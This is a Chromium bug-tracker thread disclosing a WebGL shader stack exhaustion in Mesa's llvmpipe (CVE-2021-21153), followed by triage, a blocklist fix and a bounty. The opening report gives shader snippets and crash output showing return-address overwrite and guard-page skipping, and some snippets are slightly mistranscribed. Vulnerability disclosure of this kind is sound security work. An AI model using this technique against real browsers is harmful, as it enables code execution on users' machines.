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CVE-2021-21153

Issue 1155974: Security: WebGL Shader Stack Exhaustion leading to PC control in llvmpipe

Reported by jan.s...@gmail.com on Sun, Dec 6, 2020, 5:52 PM EST

Code

```
# WebGL Shader Stack Exhaustion leading to PC control in llvmpipe

There seem to be a stack exhaustion in ANGLE - Almost Native Graphics Layer Engine.
This triggers on the GPU or the CPU if llvmpipe is used.
# Poc

See 'llvmpipe.ubuntu20.04.write.pc.html'. This has been on a Ubuntu 20.04 in Virtual Box
...

Renderer: ANGLE (VMware, Inc., llvmpipe (LLVM 10.0.0, 256 bits), OpenGL 3.3 core)
Chromium Version: Chromium 87.0.4280.66 snap
Type of crash: gpu process

Crash State:

Thread 3 "llvmpipe-1" received signal SIGSEGV, Segmentation fault.
[Switching to LWP 2897]
[-----registers-----]
RAX: 0x0
RBX: 0x1800000018
RCX: 0x7fd6624b0e5e (<pthread_barrier_wait+286>: cmp rax,0xffffffff000)
RDX: 0x1
RSI: 0x80
RDI: 0x561839f96884 -> 0x4000003cc
RBP: 0x1900000019
RSP: 0x7fd644229a90 -> 0x434400004344 ('DC')
RIP: 0x434445464748 ('HGFEDC')
R8 : 0x3c9
R9 : 0x561839f96880 -> 0x3cc000003cf
R10: 0x0
R11: 0x282
R12: 0x1900000019
R13: 0x1900000019
R14: 0x1900000019
R15: 0x434445464748 ('HGFEDC')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-----code-----]
Invalid $PC address: 0x434445464748
[-----stack-----]
0000] 0x7fd644229a90 -> 0x434400004344 ('DC')
0008] 0x7fd644229a98 -> 0x434400004344 ('DC')
0016] 0x7fd644229aa0 -> 0x1b0000001b
0024] 0x7fd644229aa8 -> 0x1b0000001b
0032] 0x7fd644229ab0 -> 0x1b0000001b
```

```

0040| 0x7fd644229ab8 --> 0x1b0000001b
0048| 0x7fd644229ac0 --> 0x1c0000001c
0056| 0x7fd644229ac8 --> 0x1c0000001c
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000043445464748 in ?? ()
gdb-peda$ bt

```

...

Bug

We can define arrays inside a shader and make them quite large.
Those are allocated on the stack, regardless of the stack size of the computing engine.
Therefore, we have a giant "sub \$rsp, xxx" in the beginning of the shader function.

```

...

precision mediump float;
vec4 x{42000000}; //Allocate lots of memory
int i;

varying vec4 vColor;
void main(void) {
    gl_FragColor = x[42]; //used so x is not optimized out
}
...

```

The shader language has some important limitations:

- Recursive shader functions are not allowed.
- Array indices must be constant.
- Small arrays (<16 elements or so) might be optimized out.
- Functions, that are called once will be inlined
- Everything, that is not needed is optimized out.

Shaderlanguage is defined [here](<https://www.khronos.org/registry/OpenGL/specs/gl/GLSLangSpec.4.10.pdf>)

llvmpipe

The LLVM Pipe driver is used on Linux if no graphics card is available and is part of mesa.
TLDR: We have PC control but no leak

Each core has its own thread for executing shaders.
Triggereing the bug here allows us to jump into the stack frame of the next process.
Stacks are separated with guard pages, a 4096 byte region, that is not readable, writable or executable.
Those can be skipped usig the following code:

```

...

int x{0x00080};
void main(void) {
    gl_FragColor = vec4(float(x[0])); //required so x is not optimized out

    // Here we allocate memory, without writing to it
    if (int(x[0]) == 42) {
        int pad{0x40000};
        gl_FragColor += vec4(float(pad[42]));
    }
}
...

```

This will translate to the following code:

```

...

void initGlobals();
varying mediump float webgl_51cdbba1f77a8b72;
mediump int webgl_4fc8288d13de398[128];
void main(){
    initGlobals();
    (gl_FragColor = vec4(float(webgl_4fc8288d13de398[0])));

    if (((int(webgl_4fc8288d13de398[0]) == 42)) {
        mediump int webgl_b84b23e845ea3eb[262144];
        for (highp int s920 = 0; (s920 < 262144); (++s920)) {
            (webgl_b84b23e845ea3eb[s920] = 0);
        }
        (gl_FragColor += vec4(float(webgl_b84b23e845ea3eb[42])));
    }
}

void initGlobals(){
    for (highp int s91e = 0; (s91e < 128); (++s91e)) {
        (webgl_4fc8288d13de398[s91e] = 0);
    }
}
...

```

Not that pad is declared and initialized within the consequent of the if statement.
As the expression is always false, the initialization is never executed.
However the stack frame is allocated on function entry and not modified within a code block.
Therefore, we can allocate memory without writing to it and skip guard pages.

By tuning the offsets, we an directly overwrite the return address of a llvmpipe thread.
One thing to note is, that 8 pixels are computed per thread.
Therefore allocates each 32-bit int 32 bytes in memory.
To control the upper and lower half of a 64-bit address, we have to put different values insinde the array for two pixels.
One way to accomplish this is to use varying variables.

```

...

varying float floatVar;

```

```
[...]
if(floatVar > 0.)
    x[0x1a] = 0x4344;
else
    x[0x1a] = 0x45464748;
...

```

There are no stack-canaries within the llvmpipe threads

Leak

I do not see a trivial way to convert this bug into a leak right now.
As we want to leak pointers, we also have the chance of overwriting them, resulting in a crash.
This makes exploitation possibly unreliable.

llvmpipe.ubuntu20.04.write.pc.html
4.5 KB [View](#) [Download](#)

Comment 1 by [sheriffbot](#) on Sun, Dec 6, 2020, 5:56 PM EST Project Member

Labels: reward-potential

Comment 2 by [est...@chromium.org](#) on Mon, Dec 7, 2020, 12:34 AM EST Project Member
[Issue-1155975](#) has been merged into this issue.

Comment 3 by [jan.s...@gmail.com](#) on Mon, Dec 7, 2020, 2:18 PM EST

Not really relevant for this bug, but the report should come from the @ernw address as it was the result of paid research. I've messed up my accounts somehow.

sorry for the inconvenience

Comment 4 by [ClusterFuzz](#) on Mon, Dec 7, 2020, 8:47 PM EST Project Member

ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=5721355963400192>.

Comment 5 by [jan.s...@gmail.com](#) on Tue, Dec 8, 2020, 10:09 AM EST

Hi,
I saw that clusterfuzz failed to reproduce the testcase. It seems that swift shader is used instead of llvmpipe due to the added option ``--use-gl=angle --use-angle=swiftshader``. The google swift shader is not affected and the compilation of the buggy shader is fails with ``Array size of (xxx) exceeds limit of gl_MaxFragmentUniformVectors(261)``. The msan build still uses Swift and not llvmpipe per default even with with ``--use-gl=angle --use-angle=llvmpipe``. chrome://gpu still says ``Google Swift Shader`` as ``GL_Renderer`` and not ``Angle (xxx)``.

An other common ground I could identify is:
Affected: GL_VERSION = OpenGL ES x.y.z
Not Affected: GL_VERSION = OpenGL ES x.y.z SwiftShader a.b.c

On a Pixel4 with Android 11 the shader also compiles indicating a missing check. However the bug triggers on the GPU leading to strange behavior (In some cases system UI freeze/crash) and no PC control.

If this bug is not within the chrome project and can pinpoint the affected project please let me know.

[1] <https://www.googleapis.com/download/storage/v1/b/chromium-browser-msan/o/linux-release%2Fmsan-chained-origins-linux-release-834666.zip?generation=1607429425401070&alt=media>

Comment 6 by [wfh@chromium.org](#) on Tue, Dec 8, 2020, 6:00 PM EST Project Member

Components: Blink>WebGL

Hi Jan, do you know command line options we could use to force the use of llvmpipe on clusterfuzz? How widespread is llvmpipe use on systems that run Chrome?

Comment 7 by [wfh@chromium.org](#) on Tue, Dec 8, 2020, 6:01 PM EST Project Member

Cc: kainino@chromium.org

Comment 8 by [kainino@chromium.org](#) on Tue, Dec 8, 2020, 6:10 PM EST Project Member

Any system with Mesa (i.e. pretty much all Linux systems) should have llvmpipe available as a fallback. A quick search shows that the way to do this nowadays is to set:

LIBGL_ALWAYS_SOFTWARE=1
GALLIUM_DRIVER=llvmpipe

<https://docs.mesa3d.org/envvars.html>
(I seem to remember it used to be a bit harder, had to set some LD variables, but that probably isn't necessary anymore.)

In Chromium you might also need --ignore-gpu-blocklist if Chromium blocklists llvmpipe. I'm not sure whether we do - on a cursory inspection, I only see an entry for a very old version of Mesa, so we may not blocklist it.
https://source.chromium.org/chromium/chromium/src/+master:gpu/config/software_rendering_list.json

Comment 9 by [kainino@chromium.org](#) on Tue, Dec 8, 2020, 6:12 PM EST Project Member

> The msan build still uses Swift and not llvmpipe per default even with with ``--use-gl=angle --use-angle=llvmpipe``. chrome://gpu still says ``Google Swift Shader`` as ``GL_Renderer`` and not ``Angle (xxx)``.

llvmpipe is not an ANGLE backend, so you can't do --use-angle=llvmpipe. llvmpipe is part of Mesa, which is system software.

Comment 10 by [kainino@chromium.org](#) on Tue, Dec 8, 2020, 6:25 PM EST Project Member

Cc: behdadb@chromium.org

> How widespread is llvmpipe use on systems that run Chrome?

Unfortunately I don't know the answer to this. We have a dashboard but I believe it doesn't cover Linux, which means we won't see it there. But we must have the data somewhere.
[go/luma-gpu-stats](#)
(Note the 0.06% of users on that dashboard with Vendor=VMware are prooobably using Windows in VMware virtual machines (I worked on that driver at VMware!), not llvmpipe which also has Vendor=VMware.)

+behdadb for that dashboard.

Comment 11 by [wfh@chromium.org](#) on Wed, Dec 9, 2020, 4:22 PM EST Project Member

Hi reporter, it seems this might be an issue with mesa3d, I wonder if you could go ahead and report the bug with them via <https://docs.mesa3d.org/bugs.html> then link it here. As part of the Chromium VRP we are happy to pay for bugs in components we depend on, but it would require the upstream to fix it.

Comment 12 by [wfh@chromium.org](#) on Thu, Dec 10, 2020, 3:08 PM EST Project Member

Labels: Needs-Feedback

[Comment 13](#) by [jan.s...@gmail.com](#) on Mon, Dec 14, 2020, 6:49 AM EST

Sorry for the delay, reported as [1] (non-public).

[1] <https://gitlab.freedesktop.org/mesa/mesa/-/issues/3976>

[Comment 14](#) by [ajgo@google.com](#) on Wed, Dec 23, 2020, 7:44 PM EST Project Member

Status: ExternalDependency (was: Unconfirmed)

Owner: kainino@chromium.org

Labels: Security_Severity-High Security_Impact-Stable OS-Linux

Setting tags/status. Feel free to suggest mesa people we can CC into this bug.

Setting kainino as owner as we like security bugs to have owners. Reassign to someone else if this makes sense.

[Comment 15](#) by [sheriffbot](#) on Thu, Dec 24, 2020, 12:42 PM EST Project Member

Labels: reward-topanel

[Comment 16](#) by [sheriffbot](#) on Thu, Dec 24, 2020, 12:47 PM EST Project Member

Labels: M-87 Target-87

Setting milestone and target because of Security_Impact=Stable and high severity.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 17](#) by [sheriffbot](#) on Thu, Dec 24, 2020, 1:27 PM EST Project Member

Labels: -Pri-3 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

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[Comment 18](#) by [kainino@chromium.org](#) on Tue, Jan 5, 2021, 2:10 PM EST Project Member

Cc: kbr@chromium.org wfh@chromium.org

kbr: Do you think we should add llvmpipe to our software rendering list if it's not already there? I would have thought we already blocked llvmpipe since I think we block other software renderers (and rely on our own software paths - swiftshader). That would resolve this issue on chrome's side without blocking on a Mesa fix.

[Comment 19](#) by [kbr@chromium.org](#) on Tue, Jan 5, 2021, 3:54 PM EST Project Member

Status: Assigned (was: ExternalDependency)

Cc: zmo@google.com

Components: Internals>GPU>Internals

Yes, we should consider blocklisting llvmpipe again. We can do so for WebGL only.

Is it known whether this is a recent regression in Mesa that would imply a more narrow blocklist entry?

Submitter: please file a bug upstream against Mesa, because otherwise this will basically never be fixed.

[Comment 20](#) by [jan.s...@gmail.com](#) on Wed, Jan 6, 2021, 4:29 PM EST

I've filed a bug at the Mesa project as you suggested three weeks ago (Non Public: <https://gitlab.freedesktop.org/mesa/mesa/-/issues/3976>)

@ajgo asked the Mesa team to add access for current Owner and CC List to the Issue. Except for a llvmpipe Tag, nothing really happen there.

[Comment 21](#) by [kainino@chromium.org](#) on Wed, Jan 6, 2021, 5:25 PM EST Project Member

> Is it known whether this is a recent regression in Mesa that would imply a more narrow blocklist entry?

Do we want a more narrow blocklist entry? I thought we would prefer to rely on our own (domain specific, so hopefully more efficient) software paths, at least for everything other than WebGL. And for WebGL, SwiftShader avoids unknown factors like llvmpipe (or swrast?)

[Comment 22](#) by [kbr@chromium.org](#) on Wed, Jan 6, 2021, 5:42 PM EST Project Member

Cc: frkoenig@chromium.org

Fair points. Could you put up the broad blocklist CL and let's review it?

One note - searching the bug database for llvmpipe related bugs:

<https://bugs.chromium.org/p/chromium/issues/list?q=llvmpipe&can=1>

a broad blocklist may impact ChromeOS testing at least - see [issue-955498](#). +frkoenig

[Comment 23](#) by [sheriffbot](#) on Thu, Jan 14, 2021, 4:22 PM EST Project Member

Labels: external_security_report

[Comment 24](#) by [sheriffbot](#) on Wed, Jan 20, 2021, 12:21 PM EST Project Member

Labels: -M-87 Target-88 M-88

[Comment 25](#) by [adetaylor@google.com](#) on Wed, Jan 20, 2021, 7:01 PM EST Project Member

Labels: -reward-potential

[Comment 26](#) by [sheriffbot](#) on Thu, Jan 21, 2021, 12:21 PM EST Project Member

kainino: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

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[Comment 27](#) by [bugdroid](#) on Fri, Jan 22, 2021, 7:52 PM EST Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src/+7c7ecfc85e387a0dcd154a2a9c2389177982837>

commit [7c7ecfc85e387a0dcd154a2a9c2389177982837](#)

Author: Kai Ninomiya <kainino@chromium.org>

1. Does your merge fit within the Merge Decision Guidelines?
 - Chrome: https://chromium.google.com/chromium/src/glt/master/docs/process/merge_request.md#when-to-request-a-merge
 - Chrome OS: <https://goto.google.com/cros-release-branch-merge-guidelines>
2. Links to the CLs you are requesting to merge.
3. Has the change landed and been verified on ToT?
4. Does this change need to be merged into other active release branches (M-1, M+1)?
5. Why are these changes required in this milestone after branch?
6. Is this a new feature?
7. If it is a new feature, is it behind a flag using finch?

Chrome OS Only:

8. Was the change reviewed and approved by the Eng Prod Representative? See Eng Prod ownership by component: <http://go/cros-engprodcomponents>

Please contact the milestone owner if you have questions.

Owners: benmason@(Android), bindusuvama@(iOS), geohsu@(ChromeOS), pbommana@(Desktop)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 34](#) by kainino@chromium.org on Tue, Jan 26, 2021, 7:10 PM EST Project Member

> 1. Does your merge fit within the Merge Decision Guidelines?

Yes, it only changes a hardware configuration blacklist.

> 2. Links to the CLs you are requesting to merge.

Original: <https://chromium-review.googlesource.com/c/chromium/src/+2645491>

M88 cherry-pick: <https://chromium-review.googlesource.com/c/chromium/src/+2651183>

M89 cherry-pick: <https://chromium-review.googlesource.com/c/chromium/src/+2650143>

> 3. Has the change landed and been verified on ToT?

Not verified yet as it's Linux-only so has to wait for a Dev channel release.

> 4. Does this change need to be merged into other active release branches (M-1, M+1)?

Yes

> 5. Why are these changes required in this milestone after branch?

Blocks unnecessary usage of system's buggy software rendering implementation.

> 6. Is this a new feature?

No

> 7. If it is a new feature, is it behind a flag using finch?

N/A

[Comment 35](#) by adetaylor@google.com on Tue, Jan 26, 2021, 8:16 PM EST Project Member

Labels: -Merge-Review-89 Merge-Approved-89

Approving merge to M89, branch 4389. Please go ahead and merge. We'll consider M88 merges (for the next stable refresh) in a couple of days to give maximum possible bake time before merging.

VRP panel: this is a workaround for a Mesa3D bug.

[Comment 36](#) by kainino@chromium.org on Tue, Jan 26, 2021, 10:54 PM EST Project Member

Blocking: 1170819

[Comment 37](#) by bugdroid on Wed, Jan 27, 2021, 12:35 AM EST Project Member

Labels: -merge-approved-89 merge-merged-89 merge-merged-4389

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<https://chromium.googlesource.com/chromium/src/+b2058f9f30cbc5e5249897fd432d1feb40a4d35>

commit [b2058f9f30cbc5e5249897fd432d1feb40a4d35](https://chromium.googlesource.com/chromium/src/+b2058f9f30cbc5e5249897fd432d1feb40a4d35)

Author: Kai Ninomiya <kainino@chromium.org>

Date: Wed Jan 27 05:34:27 2021

Disable GPU acceleration on all Mesa software rasterizers

The previous entry only disabled acceleration on swrast, but softpipe

and llvmpipe shouldn't be used for "GPU" acceleration either.

This should apply to Linux but not ChromeOS, AFAICT.

This only improves an existing software rendering list entry, but here

is the rationale: We prefer to rely on our own (domain specific, so more

efficient) software paths, at least for everything other than WebGL. And

for WebGL, SwiftShader avoids unknown factors like

llvmpipe/softpipe/swrast.

If you are running a Mesa GL driver (not e.g. NVIDIA) then you can force

these configurations with:

- LIBGL_ALWAYS_SOFTWARE=1

https://docs.mesa3d.org/envvars.html#libgl-environment-variables~:text=LIBGL_ALWAYS_SOFTWARE

- GALLIUM_DRIVER=llvmpipe, softpipe, or swr (though swr didn't work for me)

https://docs.mesa3d.org/envvars.html#gallium-environment-variables~:text=GALLIUM_DRIVER

The GL_RENDERER strings are:

- swrast: "Software Rasterizer" (couldn't test this locally; found this online)

- softpipe: "softpipe" (on one machine)

- llvmpipe: "llvmpipe (LLVM 10.0.0, 256 bits)" (on one machine)

Drive-by updates the description of another item to be more accurate

(SVG3D is virtualized over hardware; it's not a software renderer).

(cherry picked from commit [7c7eccfc85e387a0dcd154a2a9c2389177982837](https://chromium.googlesource.com/chromium/src/+/7c7eccfc85e387a0dcd154a2a9c2389177982837))

[Bug: 1456074](#)

Change-Id: I0571c1a1bf526260f7ea6cd53f88eec768973b13

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Commit-Queue: Kenneth Russell <kbr@chromium.org>

Reviewed-by: Kenneth Russell <kbr@chromium.org>

Cr-Commit-Position: refs/branch-heads/4389@{#304}

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[modify] https://crrev.com/b2058f9f30cbc5e5249897fd432d1feb40a4d35/gpu/config/software_rendering_list.json

[Comment 38](#) by adetaylor@google.com on Wed, Jan 27, 2021, 12:55 PM EST Project Member

Due to the fact that this is Linux-only so has to wait for a dev channel release (per [#c34](#)) I'm not going to approve this for merge to M88 yet.

[Comment 39](#) by amyressler@google.com on Wed, Jan 27, 2021, 6:17 PM EST Project Member

Labels: -reward-topanel reward-unpaid reward-1000

*** Boilerplate reminders! ***

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.

Comment 40 by amyressler@google.com on Wed, Jan 27, 2021, 6:52 PM EST Project Member

Congratulations, jan.s.ruge@! The VRP Panel has decided to reward you \$1000 for this report. A member of our finance team should be getting in touch with you soon. Also, you mentioned above you meant to submit this report from another email address and would like to be credited via your @ernw.de email address? Please confirm and let us know the full name or handle by which you would like to be credited.
Thank you again for your submission and bringing this issue to our attention!

Comment 41 by amyressler@google.com on Thu, Jan 28, 2021, 3:12 PM EST Project Member

Labels: -reward-unpaid reward-inprocess

Comment 42 by jan.s...@gmail.com on Tue, Feb 2, 2021, 5:17 AM EST

That are great news, thanks a lot!

Yes crediting should be performed via the @ernw.de address. My full name is "Jan Ruge" working at "ERNW GmbH".

Thanks and best, Jan

Comment 43 by kainino@chromium.org on Tue, Feb 2, 2021, 5:25 PM EST Project Member

Confirmed behavior looks good in 90.0.4400.8 (Official Build) dev (64-bit) by inspecting chrome://gpu with:

```
LIBGL_ALWAYS_SOFTWARE=1 GALLIUM_DRIVER=llvmpipe google-chrome-unstable
LIBGL_ALWAYS_SOFTWARE=1 GALLIUM_DRIVER=softpipe google-chrome-unstable
LIBGL_ALWAYS_SOFTWARE=1 GALLIUM_DRIVER=swr google-chrome-unstable
(it turns out swrast does work, it's just that glxgears, which I used to check the config, doesn't work with it)
```

All three configurations exit "GPU process due to errors during initialization" and fall back to SwiftShader as expected.

Comment 44 by kainino@chromium.org on Tue, Feb 2, 2021, 5:27 PM EST Project Member

(forgot to say, also tested google-chrome-stable with no flags and it still correctly used the system's GPU.)

Comment 45 by adetaylor@chromium.org on Wed, Feb 10, 2021, 4:35 PM EST Project Member

Labels: -Merge-Review-88 Merge-Approved-88

Approving merge to M88, branch 4324, assuming no problems have been reported against dev. Please merge before the end of Thursday PST so that this gets into next week's stable refresh.

Comment 46 by kainino@chromium.org on Wed, Feb 10, 2021, 7:38 PM EST Project Member

Blocking: 1176528

Comment 47 by bugdroid on Wed, Feb 10, 2021, 9:24 PM EST Project Member

Labels: -merge-approved-88 merge-merged-4324 merge-merged-88

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commit 62bda83979fb5cd663e86706ebf8ee05a28c91c9

Author: Kai Ninomiya <kainino@chromium.org>

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Disable GPU acceleration on all Mesa software rasterizers

The previous entry only disabled acceleration on swrast, but softpipe and llvmpipe shouldn't be used for "GPU" acceleration either. This should apply to Linux but not ChromeOS, AFAICT.

This only improves an existing software rendering list entry, but here is the rationale: We prefer to rely on our own (domain specific, so more efficient) software paths, at least for everything other than WebGL. And for WebGL, SwiftShader avoids unknown factors like llvmpipe/softpipe/swrast.

If you are running a Mesa GL driver (not e.g. NVIDIA) then you can force these configurations with:

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- LIBGL_ALWAYS_SOFTWARE=1
https://docs.mesa3d.org/envvars.html#libgl-environment-variables~:~:~text=LIBGL_ALWAYS_SOFTWARE
- GALLIUM_DRIVER=llvmpipe, softpipe, or swr (though swr didn't work for me)
https://docs.mesa3d.org/envvars.html#gallium-environment-variables~:~:~text=GALLIUM_DRIVER
```

The GL_RENDERER strings are:

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- swrast: "Software Rasterizer" (couldn't test this locally; found this online)
- softpipe: "softpipe" (on one machine)
- llvmpipe: "llvmpipe (LLVM 10.0.0, 256 bits)" (on one machine)
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Drive-by updates the description of another item to be more accurate (SVGA3D is virtualized over hardware; it's not a software renderer).

Unrelated CQ failures on branch

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